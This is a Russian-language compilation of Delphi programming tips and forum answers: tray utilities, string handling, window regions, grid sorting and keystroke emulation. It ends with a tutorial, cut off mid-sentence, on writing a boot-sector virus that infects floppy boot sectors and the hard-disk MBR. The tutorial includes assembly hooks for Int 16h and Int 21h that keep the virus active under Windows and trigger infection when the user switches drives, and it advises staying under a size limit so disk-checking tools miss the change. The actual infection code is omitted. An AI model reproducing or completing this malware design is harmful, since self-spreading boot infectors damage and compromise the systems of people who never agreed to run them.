      GetWindowText(memo, s, len + 1);
      AssignFile(F, 'memo.txt');
      Rewrite(F, 1);
      BlockWrite(F, s^, len);
      CloseFile(F);
      FreeMem(s);
      result := 0;
      memo := 0;
    end;
    WM_KEYUP: begin // Нажата клавиша
      if wparam = VK_ESCAPE // Нажат Escape
        then result := SendMessage(memo, WM_CLOSE, 0, 0)
        else result := DefWindowProc(wnd, msg, wparam, lparam);
    end;
    // Иначе - вызвать старую оконную процедуру
    else result := CallWindowProc(OldMemoProc, wnd, msg, wparam, lparam);
  end;
end;

// Создание окна записной книжки:
procedure CreateMemo;
var
  len: cardinal;
  F: hFile;
  s: PChar;
  ReadBytes: cardinal;
begin
  // Если записная книжка уже открыта - выход из процедуры:
  if GetForegroundWindow = memo then Exit;
  // Создание окна:
  memo := CreateWindowEx(WS_EX_PALETTEWINDOW, 'EDIT', nil,
    WS_POPUP or WS_SIZEBOX or WS_VSCROLL or
    ES_MULTILINE or ES_AUTOVSCROLL,
    GetSystemMetrics(SM_CXFULLSCREEN) div 2 - 200,
    GetSystemMetrics(SM_CYFULLSCREEN) div 2 - 200,
    400, 400, 0, 0, hinstance, nil);
  // Установка шрифта:
  SendMessage(memo, WM_SETFONT, GetStockObject(SYSTEM_FIXED_FONT), 0);
  // Сохранение старой и установка новой оконной процедуры:
  OldMemoProc := Pointer(GetWindowLong(memo, GWL_WNDPROC));
  SetWindowLong(memo, GWL_WNDPROC, longint(@MemoWndProc));
  { Открытие файла (здесь удобнее воспользоваться функциями WinAPI): }
  try
    F := CreateFile('memo.txt', GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if F = INVALID_HANDLE_VALUE then Exit;
    len := GetFileSize(F, nil);
    if len = $FFFFFFFF then Exit;
    GetMem(s, len + 1);
    ReadFile(F, s^, len, ReadBytes, nil);
    SetWindowText(memo, s);
    CloseHandle(F);
    FreeMem(s);
  except SetWindowText(memo, 'Error') end;
  // Показать окно:
  ShowWindow(memo, SW_SHOW);
  UpdateWindow(memo);
end;

// Главная оконная процедура:
function MyWndProc(wnd: hWnd; msg, wParam,
  lParam: longint): longint; stdcall;
var
  p: TPoint;
  tray: TNotifyIconData;
  ProgmanWnd: hWnd;
begin
  case msg of
    WM_NOTIFYTRAYICON: begin // Событие tray
      // Если нажата правая кнопка, показать меню:
      if lparam = WM_RBUTTONUP then begin
        SetForegroundWindow(mywnd);
        GetCursorPos(p);
        TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
      end;
      result := 0;
    end;
    WM_COMMAND: begin // Выбран пункт меню
      { В зависимости от выбранного пункта меню открывается
      записная книжка, запускается ScreenSaver, "усыпляется"
      компьютер или закрывается программа: }
      case loword(wparam) of
        0: CreateMemo;
        1: SendMessage(mywnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
        2: SetSystemPowerState(true, true);
        4: SendMessage(mywnd, WM_CLOSE, 0, 0);
      end;
      result := 0;
    end;
    WM_HOTKEY: begin // Нажата горячая клавиша
      case loword(lparam) of
        // Нажата клавиша Pause:
        0: SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
        // Нажаты клавиши Alt+Pause:
        MOD_ALT: begin
          ProgmanWnd := FindWindow('Progman', 'Program Manager');
          if ProgmanWnd <> 0
            then SendMessage(ProgmanWnd, WM_CLOSE, 0, 0);
        end;
        // Нажаты клавиши Alt+Shift+Pause:
        MOD_ALT or MOD_SHIFT: SetSystemPowerState(true, true);
        // Иначе:
        else CreateMemo;
      end;
      result := 0;
    end;
    WM_ACTIVATEAPP: begin // Изменение активности приложения
      { Если приложение потеряло активность - закрыть (если нужно)
      записную книжку: }
      if (memo <> 0) and (wparam = 0)
        then SendMessage(memo, WM_CLOSE, 0, 0);
      result := 0;
    end;
    WM_DESTROY: begin // Закрытие программы
      // Удаление tray:
      with tray do begin
        cbSize := sizeof(TNotifyIconData);
        wnd := mywnd;
        uID := 0;
      end;
      Shell_NotifyIcon(NIM_DELETE, @tray);
      PostQuitMessage(0);
      result := 0;
    end;
    else result := DefWindowProc(wnd, msg, WParam, LParam);
  end;
end;

// Создание окна:
function CreateMyWnd: hWnd;
var
  wc: WndClass;
begin
  // Регистрация класса:
  wc.style := CS_HREDRAW or CS_VREDRAW;
  wc.lpfnWndProc := @MyWndProc;
  wc.cbClsExtra := 0;
  wc.cbWndExtra := 0;
  wc.hInstance := hInstance;
  wc.hIcon := LoadIcon(hinstance, IDI_ASTERISK);
  wc.hCursor := LoadCursor(hinstance, IDC_ARROW);
  wc.hbrBackground := COLOR_INACTIVECAPTION;
  wc.lpszMenuName := nil;
  wc.lpszClassName := ClassName;
  if RegisterClass(wc) = 0 then halt(0);
  // Создание окна:
  result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
    'My Window', WS_POPUP, 100, 100, 200, 200, 0, 0, hInstance, nil);
  if result = 0 then halt(0);
end;

// Создание Tray:
procedure CreateTray;
var
  tray: TNotifyIconData;
begin
  with tray do begin
    cbSize := sizeof(TNotifyIconData);
    wnd := mywnd;
    uID := 0;
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
    uCallBackMessage := WM_NOTIFYTRAYICON;
    hIcon := LoadIcon(0, IDI_ASTERISK);
    szTip := ('My Resident');
  end;
  Shell_NotifyIcon(NIM_ADD, @tray);
end;

// Создание всплывающего меню:
function CreateMyMenu: hMenu;
begin
  result := CreatePopupMenu;
  if result = 0 then Exit;
  AppendMenu(result, MF_STRING, 0, 'Memo');
  AppendMenu(result, MF_STRING, 1, 'ScreenSaver');
  AppendMenu(result, MF_STRING, 2, 'Sleep');
  AppendMenu(result, MF_SEPARATOR, 3, 'Exit');
  AppendMenu(result, MF_STRING, 4, 'Exit');
end;

var
  msg: TMsg;
begin
  mywnd := CreateMyWnd; // Создание окна
  CreateTray; // Создание tray
  menu := CreateMyMenu; // Создание меню
  // Установка низкого приоритета:
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE);
  // Регистрация "горячих клавиш":
  RegisterHotKey(mywnd, 0, 0, VK_PAUSE);
  RegisterHotKey(mywnd, 1, MOD_ALT, VK_PAUSE);
  RegisterHotKey(mywnd, 2, MOD_SHIFT, VK_PAUSE);
  RegisterHotKey(mywnd, 3, MOD_ALT or MOD_SHIFT, VK_PAUSE);

  // Распределение сообщений:
  while (GetMessage(msg, 0, 0, 0)) do begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;

  // "Уничтожение" горячих клавиш:
  UnregisterHotKey(mywnd, 0);
  UnregisterHotKey(mywnd, 1);
  UnregisterHotKey(mywnd, 2);
end.

К заголовку




" Пример шифрования текста
function Shivrovka(str:string):string;
var i:integer;
   s:string;
   c:char;
begin
 s:='';
 if Length(str)>0 then
 for i:=1 to Length(str) do
 begin
   c:=str[i];
   s:=s+Chr(256-Ord(c));
 end;
 result:=s;
end;

Это на конкурс "Самый медленный код"? Приз зрительских симпатий Вам обеспечен 8)

К заголовку




" Проблема с отправкой писем
%0d -  для символа перевод строки
%20 -  для пробела

Пример:

mailto:Email@server.ru?subject=Это%20тема&
body=это%20текст%20письма%0dЭто%20другая%20строка

а #10 и #13 не пойдут
К заголовку




" Работа с динамически создаваемыми объектами.
Уважаемые мастера, я прочитал в инете что можно создать программу в основной (и модальных)
форме которой нет ни одного уже созданного объекта, а они создаются во время работы программы по мере надобности.
Как это делать я в инете не нашел, да и в хелпе тоже, так вот, я пробовал создавать объекты во время работы
программы - все прекрастно работает. Загвоздка вот в чем - допустим создаем TListBox :


var
 L: TListBox;
 P: TWinControl;
begin
 L := TListBox.Create(Self);
 with TabbedNotebook1 do
 begin
   P := Pages.Objects[PageIndex] as TWinControl;
   L.Parent := P;
   L.SetBounds(10, 10, 100, 100);
   L.Items.Add(TTabPage(P).Caption);
 end;
end;


В программе при нажатии кнопки происходит выполнение некого кода в котором главную роль играет TlistBox.
Компилятор ругается - мол нету такого объекта. Как исправить?
Dolt ©   (23.01.05 02:35) [1]

L.name:='myListBox';

-----
Там, где обработчик нажатия кнопки пишем:
Var
L:TListBox;
begin
 L:=findComponent('myListBox');
If L<>nil Then Begin
 чего-то делаем...
 end;

К заголовку




" Разбивка строки на слова
StringToWords(edit1.Text),Words);

procedure StringToWords(const T:String;const List:Tstrings=nil);
var
i:integer;
s:string;
c:Char;
begin
i:=0;
s:='';
if t>'' then
 begin
 while i<=Length(t)+1 do
   begin
   c:=t[i];
         if c<>','  then s:=s+c
         else  then Check;

   i:=i+1;
   end;
 end;
end;

procedure Check();
begin
if (s<>'') then
begin
       if List<>nil then List.Add(S);
end;

s:='';
end;
++++++++++++++++++++++++++++++++++++++++++++++++++
П7   (22.10.04 10:38) [3]

i := 1;

Символы в строке начитаются с 1 индекса...
++++++++++++++++++++++++++++++++++++++++++++++++++
Rem ©   (22.10.04 10:38) [4]

procedure StringToWords(const T: string; const List: TStrings = nil);
begin
 if Assigned(List) then
 begin
   List.Delimiter := ',';
   List.DelimitedText := T;
 end;
end;
++++++++++++++++++++++++++++++++++++++++++++++++++
П7   (22.10.04 10:42) [5]

Я использую вот такую не хитрую функцию, которая не зависит от всяких там левых модулей. Не быстро, но для моих
целей очень удобно, каждый раз возвращает один кусок ДО разделителя и обрезает в основном тексте этот кусок и разделитель.

function SplitString( sub : string; var str : string ) : string;
var
 res : string;
 cnt : integer;
 sl : integer;
begin
 cnt := Pos( sub, str );
 sl := Length( sub );
 if cnt > 0 then
 begin
   if sl > 1 then
     res := '';
   res := copy( str, 1, cnt - sl );
   str := copy( str, cnt + sl, Length( str ) - ( cnt - sl - 1) );
 end
 else
 begin
   res := str;
   str := '';
 end;
 Result := res;
end;
++++++++++++++++++++++++++++++++++++++++++++++++++
denis24   (22.10.04 11:07) [6]

Спасибо  to REM
Еще вопрос.Как организовать удаление повторяющихся значений в заполняемом таким образом srtingList.
Symb   (22.10.04 11:28) [7]

В StringList не нужно ничего удалять. Просто перед заполнением у него надо выставить свойство Sorted в true, а
 Duplicates в dupIgnore. Тогда дублирующиеся строки он просто не будет добавлять.
denis24   (24.10.04 17:02) [8]

Почему если я делаю сабж
procedure StringToWords(const T: string; const List: TStringlist = nil);
begin
if Assigned(List) then
begin

  List.Delimiter := ';';
  List.DelimitedText := T;

end;
end;
Мне побел между словами тоже воспринимает за символ-разделитель и соответственно разделяет на слова?
++++++++++++++++++++++++++++++++++++++++++++++++++
Yuri-7   (24.10.04 23:20) [9]

strings.CommaText:=Edit1.Text; и в Strings - все слова.

К заголовку




" Регионы по битмапу
{ Строем регион по "скину" }
function BitmapToRegion(bmp: TBitmap) : dword; stdcall;
var
    ix,iy : integer;    // переменные циклов
    tc    : TColor;     // модификатор цвета прозрачности
    b1    : boolean;    // идёт просмотр непрозрачных пикселей
    c1    : cardinal;   // вспомогательный регион
    i1    : integer;    // первая позиция реального пикселя
begin
  Result := 0;
  i1 := 0;
  // устанавливаем модификатор прозрачности
  tc := bmp.transparentColor and $FFFFFF;
  with bmp.canvas do
    // сканируем все линии
    for iy := 0 to bmp.height - 1 do
    begin
      b1 := False;
      // сканируем пиксели в линии
      for ix:=0 to bmp.Width - 1 do
        // если последний или первый пиксель
        if (pixels[ix, iy] and $FFFFFF <> tc) <> b1 then begin
          // последний, добавляем регион
          if b1 then begin
            c1:=CreateRectRgn(i1,iy,ix,iy+1);
            if result<>0 then
              begin
                // это не первый регион
                CombineRgn(Result, Result, c1, RGN_OR);
                DeleteObject(c1);
                // создаём первый регион
              end
            else
              Result := c1;
          end else i1 := ix;
          // меняем режим просмотра пикселей
          b1:=not b1;
        end;
      // последний реальный пиксель?
      if b1 then begin
        c1:=CreateRectRgn(i1, iy, bmp.width-1, iy+1);
        if (Result <> 0) then
          begin
            CombineRgn(Result, Result, c1, RGN_OR);
            DeleteObject(c1);
          end
        else
          Result := c1;
      end;
    end;
      Application.ProcessMessages();
    { канец типа }
end;

А вызывать его из программы надо так :

procedure TDiscKeeper.FormShow(Sender: TObject);
var
  sapppath : string;
  Region : HRGN;
  P: TBitmap;
begin
sapppath := ExtractFilePath(Application.ExeName);

 if not FileExists(sapppath+'Skins.bmp') then
 begin
  MessageDlg('Продолжение загрузки невозможно - отсутствует файл "Skins.bmp"',mtError,mbOKCancel,0);
  halt;
 end else
 begin
   P := TBitmap.Create;
   try
      P.LoadFromFile(sapppath+'Skins.bmp');
      DiscKeeper.Width := p.Width;
      DiscKeeper.Height := p.Height;
      Region := BitmapToRegion(p);
      SetWindowRgn(DiscKeeper.Handle, Region, True);
      DeleteObject(Region);
   finally
     P.Free;
   end;
end;
end;

К заголовку




" Сворачивает все приложение при сворачивании неглавного окна.
Пишем в Private формы(неглавной);
 Procedure WMSysCommand(var message: TWMSysCommand); message WM_SysCommand;

Пишем в тексте программы:
Procedure TF_Shop.WMSysCommand(var message: TWMSysCommand);
begin
 If message.CmdType = SC_MINIMIZE then Application.Minimize
 Else Inherited;
End;

Теперь при сворачивании формы сворачиваеться все приложение.

К заголовку




" Своя кнопка в IE
через регистр.

заходи:
 HKEY_LOCAL_MACHINE
 Software
 Microsoft
 Internet Explorer
 Extensions

добавляй раздел, и заполняй.

К заголовку




" Скрытие программы из TaskBar, Alt-Tab, Ctrl-Alt-Del
program Project1;
uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
 ExtendedStyle : integer;
begin
  Application.Initialize;
  ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
  SetWindowLong(Application.Handle, GWL_EXSTYLE,
    ExtendedStyle or WS_EX_TOOLWINDOW {AND NOT WS_EX_APPWINDOW});
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

К заголовку




" Сортировка полей в StringGrid
Эта процедура сортирует заданный StringGrid по заданному столбцу:

procedure SortStringGrid(var AGrid: TStringGrid; ThatCol: Integer);
 const
 TheSeparator = '@';
 var
  CountItem, I, J, K, ThePosition, count: integer;
  SortList: TStringList;
  MyString, TempString: string;
 begin
 count:=1;
 CountItem := AGrid.RowCount;
 SortList := TStringList.Create;
 SortList.Sorted := False;
  try
   begin
    for I := 1 to (CountItem - 1) do
     SortList.Add(AGrid.Rows[I].Strings[ThatCol] + TheSeparator +
      AGrid.Rows[I].Text);

    SortList.Sort;

    for K := 1 to SortList.Count do
    begin
     //Take the String of the line (K - 1)
     MyString := SortList.Strings[(K - 1)];
     //Find the position of the Separator in the String
     ThePosition := Pos(TheSeparator, MyString);
     TempString := '';
     {Eliminate the Text of the column on which we have sorted the StringGrid}
     TempString := Copy(MyString, (ThePosition + 1), Length(MyString));
     SortList.Strings[(K - 1)] := '';
     SortList.Strings[(K - 1)] := TempString;
    end;

    // Refill the StringGrid
   for J := 1 to (CountItem - 1) do
   begin
     AGrid.Rows[J].Text := SortList.Strings[(J - 1)];
     AGrid.Cells[0, J] := IntToStr(count);
     Inc(count, 1);
   end;
   end;
  finally
  SortList.Free;
  end;
end;

К заголовку




" Сохранение и загрузка с помощью TStreamFile. (Потоком)
{ загружаем список }
procedure LoadList(Listname : TListbox; Filename : pchar);
var
FileStream: TFileStream;
Reader: TReader;
begin
if FileExists(Filename) then
 begin
 DiscKeeper.Panel2.Visible := true;
 Application.ProcessMessages();

  FileStream := TFileStream.Create(Filename, fmOpenRead); { создаем объект }
   try
    Reader := TReader.Create(FileStream, $FF); { создаем читалку }
     try  { пробуем  читать }
       Reader.ReadListBegin;
       Listname.items.Clear;
       while not Reader.EndOfList do { если еще не конец докемента, то  }
         Listname.items.Add(Reader.ReadString);
         Reader.ReadListEnd;
     finally
       Reader.Free; { освобождаем читалку }
     end;
   finally
    FileStream.Free; { освобождаем стрим }
   end;
 end;
  DiscKeeper.Panel2.Visible := False;
 Application.ProcessMessages();
end;

{ сохраняем список }
procedure SaveList(Listname : TListbox; Filename : pchar);
var
  FileStream: TFileStream;
  Writer: TWriter;
  I: Integer;
begin
  { создаем стрим }
  FileStream := TFileStream.Create(Filename, fmCreate or fmOpenWrite or fmShareDenyNone);
   try
      Writer := TWriter.Create(FileStream, $FF); { создаем писалку }
        try
          Writer.WriteListBegin;
          for I := 0 to Listname.items.Count - 1 do
            Writer.WriteString(Listname.items[I]);
            Writer.WriteListEnd;
        finally
          Writer.free; { освобождаем писалку }
        end;
   finally
    FileStream.free;   { освобождаем стрим }
   end;
end;


К заголовку




" Удаление ненужных символов из строк
function deletesubstr(substr,mainstr: string):string;
begin
 while pos(substr,mainstr)<>0 do
   delete(mainstr,pos(substr,mainstr),length(substr));
 result:=mainstr;
end;

вот так попробуй

++++++++++++++++++++++++++++++++++++++++++++++++++++++

function DeleteChars(S: string; Chars: set of char): string;
var
 i: integer;
begin
 Result := S;
 for i := Length(S) downto 1 do
   if Result[i] in Chars then
     Delete(Result, i, 1)
end;

========================
Edit1.Text := DeleteChars(S, ['\', '/']);


К заголовку




" Функция Undo в TMemo
В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:
Memo1.Perform(EM_UNDO,0,0);
Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:
UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);
К заголовку




" Хочу сделать СУПЕРГЛАВНОЕ окно (StayOntop MostTop)
Делай так -
через определённые промежутки времени (раз в сек., например) проверяй это условие:

if (GetTopWindow (0) <> Handle) then SetWindowPos(Handle, {HWND_TOPMOST}0, X, Y,
  Width, Height, {SWP_NoMove or SWP_NoSize or SWP_ShowWindow}0);//Handle - хэндл твоего окна.

Флаги нужные сам поставь, висит 100% над всеми окнами, кроме окна DierctX.

К заголовку




" Эмуляция нажатия клавиши в активном окне
procedure PressKey(VKey: Byte);
begin
 keybd_event(VKey, 0, 0, 0);
 keybd_event(VKey, 0, KEYEVENTF_KEYUP, 0);
end;
К заголовку




" Эмуляция нажатия клавиши в любом окне, в т.ч. неактивном
procedure EmulateKey(Wnd: HWND; VKey: Integer);
asm
   push 0
   push edx
   push 0101H //WM_KEYUP
   push eax
   push 0
   push edx
   push 0100H //WM_KEYDOWN
   push eax
   call PostMessage
   call PostMessage
end;

К заголовку




" DLL
Как сделать DLL

library lib_name;
uses classes, sysutils;
{$r *.res}
begin

function b(a: string)
begin
end;

exports b;
end.

// а из программы ее можно вызывать так:
function b(a: string); external 'lib_name.dll';

--------------------------------------------------



Как сделать DLL и потом из него каpтинки гpузить
Этап первый: создание DLL
Создаёшь тексотвый файл с расширением .RC и записываешь в него строки такого вида:
----------
<название картинки1> BITMAP <название файла1>
. . .
<название картинкиN> BITMAP <название файлаN>
-------------
запускаешь программу brcc и в качестве параметра --- твой файл, RC-файл и картинки должны храниться в одном каталоге
после компиляции у тебя будет один большой RES-файл
Затем у себя в программе пишешь:

AModule: THandle;

AModule := LoadLibrary(...); <--- параметры точно не помню, а в хелп лень лезть, посмотри сам

Bitmap.LoadFromResourceName(AModule, <название картинки1>);

FreeLibrary(AModule); <--- это уже в самом конце
К заголовку




" BOOT - вирус с нестандартным алгоритмом активизации
1.Алгоритм работы вируса принципиально изменен.Теперь вирус работает при запуске из - под WINDOWS различных DOS -
приложений ( VC, NC и т.п. ). Предыдущая версия такой возможностью не обладала.
2.Исключен материал по переделке вируса в STEALTH.
3.Изменены кое - какие мелочи
4.Желающие ознакомиться с предыдущей версией статьи могут воспользоваться моей книжкой, ссылка на которую находится
конце документа.

1.1 Краткие сведения о начальной загрузке персонального компьютера
Для начала следует сказать несколько слов о том, как происходит начальная загрузка ЭВМ. После проверки аппаратной части
компьютера и заполнения таблицы векторов прерываний BIOS пытается прочитать первый сектор нулевой дорожки нулевой стороны
 диска в дисководе " A ". Этот сектор помещается в память по адресу 0000:7C00h, после чего на указанный адрес передается
управление. В прочитанном секторе содержится программа начальной загрузки (BOOT - запись) и некоторые другие сведения,
необходимые для доступа к данным на диске. Программа начальной загрузки проверяет, является - ли диск системным.
Если это так, то загрузка операционной системы с диска продолжается, а если нет, то на экран выводится сообщение :

Non system disk or disk error
Replace and press any key when ready .

после чего система ожидает действий оператора. Если же диск в " A " дисководе отсутствует, то программа BIOS
считывает первый сектор нулевой дорожки нулевой стороны первого жесткого диска. Он также помещается в память
по адресу 0000:7C00h, после чего по указанному адресу передается управление. В прочитанном секторе на жестком
диске записана так называемая MBR (главная загрузочная запись). MBR является программой, которая определяет
активный раздел жесткого диска, считывает загрузочную запись (BOOT - запись) этого раздела в оперативную память
и отдает ей управление. Дальше все происходит, как при загрузке системы с гибкого диска. Как видим, процесс
загрузки с винчестера является как бы двухступенчатым. Если же программа MBR не нашла активный раздел, то
выдается сообщение об отсутствии загрузочных устройств, и система останавливается. В некоторых старых
машинах при невозможности запустить операционную систему загружается встроенный язык БЕЙСИК, записанный
в микросхемах ПЗУ.

1.2 Понятие о загрузочных вирусах
Загрузочными называют вирусы, способные заражать загрузочные сектора гибких и жестких дисков и получающие
управление при попытке "запустить " операционную систему с зараженного диска. Можно выделить следующие
основные разновидности вирусных программ указанного типа :

1. Заражающие BOOT - сектора гибких дисков
2. Заражающие BOOT - запись активного раздела жесткого диска и BOOT - сектора гибких дисков
3. Заражающие MBR (Master Boot Record) жесткого диска и BOOT - сектора гибких дисков

Отметим, что заражение BOOT - секторов дискет является обязательным, иначе вирус просто не сможет распространяться .
Кроме того, почти все загрузочные вирусы являются резидентными, что объясняется спецификой их работы.

1.3 Анализ традиционного алгоритма работы загрузочного вируса
Как вы, вероятно, знаете, почти все загрузочные вирусы перехватывают Int 13h и заражают гибкие диски при
попытке чтения или записи их содержимого через это прерывание. Но, оказывается, такой метод имеет один
серьезный недостаток: при работе под WINDOWS вирус отказывается инфицировать загрузочные сектора дискет.
С целью выяснить причины этого явления автор провел множество экспериментов, которые дали следующий
результат:

При чтении или записи гибких дисков WINDOWS не вызывает Int 13h, а взаимодействует непосредственно с
контроллером дисковода, работая с его портами ввода - вывода.

Ясно, что при таком методе работы наш вирус никогда не получит управления, а будет просто присутствовать
в памяти. Таким образом, с помощью старых методов заставить BOOT - вирус нормально работать под WINDOWS,
скорее всего, не удастся. Необходим совершенно новый подход. Но об этом в следующем пункте.
**?
Следует заметить,что при работе с жестким диском WINDOWS все же вызывает Int 13h, что следует из проведенных
автором экспериментов.
**?

1.4 Разрабатываем новый алгоритм активизации
Легче всего сказать, что подход должен быть новым. Труднее предложить что - то по существу. Были придуманы
несколько методик, но все они не дали положительного результата. И тут автор неожиданно получил очень
своеобразное предложение - вместо Int 13h использовать для активизации вируса Int 21h. В самом деле, почему
бы нам не перехватить Int 21h, и не попробовать проследить за сменой текущего диска (функция 0Eh).И как только
активным станет дисковод " A " или " B ", заразить диск в этом дисководе!!! Просто и со вкусом ( идея Danny
Dio, за что ему - благодарность ). А мы продолжаем.

1.5 О перехвате Int 21h программой, загружаемой из Master Boot Record. Дело за малым - осталось перехватить
Int 21h,и задача решена. Но выяснилось, что это не так просто. Естественно было бы поступить так :

1. Первым делом установить вектор Int 1Ch или Int 08h (оба - таймер)
на собственный обработчик.
2. Этот обработчик следит за вектором Int 21h, и как только последний
изменяется - перехватывает Int 21h.
3. Далее обработчик Int 1Ch (Int 08h) " обезвреживает " себя в памяти,
например, командой "IRET", чтобы машина не зависала.

Так и было сделано, после чего началось самое интересное. Обработчик Int 21h исправно выполнялся несколько
секунд, после чего его бессовестно топили - то ли MSDOS.SYS, то ли COMMAND.COM - не важно. Чтобы избавиться
от этого эффекта, я придумал кучу способов - например, ждал не первого изменения вектора Int 21h, а третьего,
десятого и т.п. Как ни странно, ничего не получалось. Конечно, можно было бы поступить и так:

1. Отловить момент, когда OC уже загружена и начинают выполняться программы, записанные, например, в AUTOEXEC.BAT.
2. Перехватить Int 21h.

Проблема здесь в следующем: совершенно неясно, как именно засечь этот замечательный момент. Кроме того, такой
метод тоже не дает стопроцентной гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить алгоритм,
который обсуждается в следующем пункте.

1.6 О применении вектора Int 16h

Как вы, наверное, знаете, прерывание Int 16h является программным и может вызываться, например, из программы
пользователя для выполнения некоторых действий, таких как чтение символа с клавиатуры, получение ее флагов и т.п.
При этом оно обладает одним замечательным свойством, а именно - пользовательский обработчик Int 16h не утапливается
WINDOWS при загрузке, и вызывается даже в WORDе, EXCELе и FARе. Так, в проведенном автором эксперименте, при
нажатии двух SHIFTов загрузочный сектор дискеты считывался и тут же записывался на место. Опытная программа
загружалась из MBR и работала в любых WINDOWS - приложениях. Этот факт решено было использовать для построения
"непотопляемой" процедуры обработки Int 21h. Итак, предлагаю такой алгоритм:

1. Установить вектор Int 16h на вирусный обработчик.
2. Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой- нибудь экзотической собственной функцией,
типа AX = 0BABCh.
3. Если вирусная процедура обработки Int 21h активна, она должна " ответить " на этот вызов (пусть это будет AL = 98h).
Если ответа нет, обработчик Int 21h не установлен или утоплен, поэтому Int 21h следует перехватить.

Не совсем просто, но тоже со вкусом. Сами процедуры обработки Int 16h и Int 21h могут быть, например, такими: **?
Текст обработчика Int 16h:

new_16h: push ax ;Сохраним
push bx ;регистры
push dx ;в
push ds ;стеке
push es ;
pushf ;
;
mov ax,0babch ;Вызовем вирусный
int 21h ;обработчик
cmp al,98h ;Int 21h собст-
je cs:rrr_rrr ;венной функцией
;AX = 0babch.Если
;обработчик акти-
;вен, мы должны
;получить AL=98h,
;иначе Int 21h
;следует перехва-
;тить, чем мы и
;займемся:
push cs ;DS = CS
pop ds ;
;
cli ;Запретить преры-
;вания
mov ax,3521h ;Получим и сохра-
int 21h ;ним вектор
mov old_21h - 100h,bx ;Int 21h
mov old_21h_2 - 100h,es;
;
mov ax,2521h ;А теперь пере-
mov dx,to_new_21h ;ставим этот век-
int 21h ;тор на вирусный
;обработчик
sti ;Разрешить преры-
;вания
rrr_rrr: popf ;Восстановим
pop es ;из
pop ds ;стека
pop dx ;регистры
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на
old_16h dw 0 ;системный обра-
old_16h_2 dw 0 ;ботчик Int 16h

**?
Текст обработчика Int 21h (он отслеживает смену оператором текущего диска. Если текущим становится диск "A" или "B",
обработчик заражает этот диск):

new_21h: pushf ;Этот участок
cmp ax,0babch ;обработчика
jne cs:else_func ;Int 21h отвечает
mov al,98h ;обработчику
popf ;Int 16h значени-
iret ;ем AL = 98h; это
;служит признаком
;активности виру-
;сной процедуры
;обработки
;Int 21h
;
else_func: popf ;Сохраним
push ax ;регистры
push bx ;в
push cx ;стеке
push dx ;
push di ;
push ds ;
push es ;
pushf ;
;
cmp ah,0eh ;Смена текущего
;диска ?
jne cs:restore_regs ;Нет - на выход
cmp dl,1 ;Да - текущим
;хотят сделать
;" A " или " B "
;дисковод ?
ja cs:restore_regs ;Нет - на выход
;Иначе - продол-
;жим :
Далее следует " заразная " часть процедуры обработки Int 21h:

; ...
; ...
; ...
; ...
; ...

restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на
old_21h dw 0 ;системный обра-
old_21h_2 dw 0 ;ботчик Int 21h

**?
Кстати, использовать в данном случае Int 09h вместо Int 16h нельзя. Дело в том, что при загрузке WINDOWS топит все
 пользовательские программы, которые "зацеплены" за этот вектор. Топится даже великий и могучий KEYRUS.COM, не
говоря уже о наших вирусах.

1.7 Общий алгоритм работы вируса
Теперь настало время создать алгоритм работы нашего вируса, чем мы и займемся. Только сначала условимся, что наш
вирус будет заражать загрузочные сектора гибких дисков и MBR ( Master Boot Record ) первого жесткого диска.
Поэтому можно предложить следующий "план работы": Попав при начальной загрузке машины в память по адресу 0000:7C00h,
вирус должен выполнить такие действия:

1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов памяти
3. Переписать свой код в полученную область памяти
4. Передать управление следующей секции своего кода, уже расположенной в конце основной памяти.

Эта секция, в свою очередь, должна :

1. Переопределить вектор прерывания Int 16h на вирусный код
2. Считать настоящий загрузочный сектор в память по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то заразить его MBR
4. Передать управление настоящему загрузочному сектору, находящемуся по адресу 0000:7C00h

Далее выполняется загрузка операционной системы. Вирусный обработчик Int 16h, как было сказано выше, следит за
состоянием обработчика Int 21h, и перехватывает это прерывание, если по какой - либо причине вирусная процедура
обработки Int 21h не активна. Алгоритм его работы подробно описан в предыдущем пункте. Как вы уже знаете," заразные "
функции мы возложим на обработчик прерывания Int 21h. О том, как это будет реализовано, тоже было рассказано выше.

Под заражением понимают запись вирусного кода в BOOT - сектор дискеты или в MBR винчестера.Понятно, что при загрузке
с винчестера проверять его на зараженность бессмысленно. И тем не менее, наш вирус делает это, так как отключить
проверку жесткого диска не так просто. Хотелось бы сказать о том, какой должна быть максимальная длина вирусного кода.
Если мы хотим поместить вирус в загрузочный сектор целиком, следует учесть два момента.

1. Собственно программа загрузки в MBR занимает не более, чем 446 байт (см. ПРИЛОЖЕНИЕ 2)
2. Программа загрузки в BOOT - секторе дискеты имеет разный размер в разных версиях DOS. В самом " предельном " случае
она начинается сосмещения 0055h относительно начала сектора. Два последних байта BOOT и MBR содержат код: 55AAh. Если
его затереть, система перестанет загружаться с испорченного таким образом диска.

Отсюда следует очевидный вывод - размер кода вируса не может превышать : 200h - 55h - 02h = 1A9h = 425 байт! Если вы не
выйдете за эту границу, обращение к диску будет происходить корректно. Кроме того, дажеNORTON DISK DOCTOR не будет
замечать изменений программы загрузки в BOOT - секторе дискеты или MBR винчестера, что, согласитесь, очень важно.

1.8 Как начинается распространение вируса
Для внедрения загрузочного вируса в компьютер достаточно попробовать загрузиться с зараженной дискеты, при этом дискета
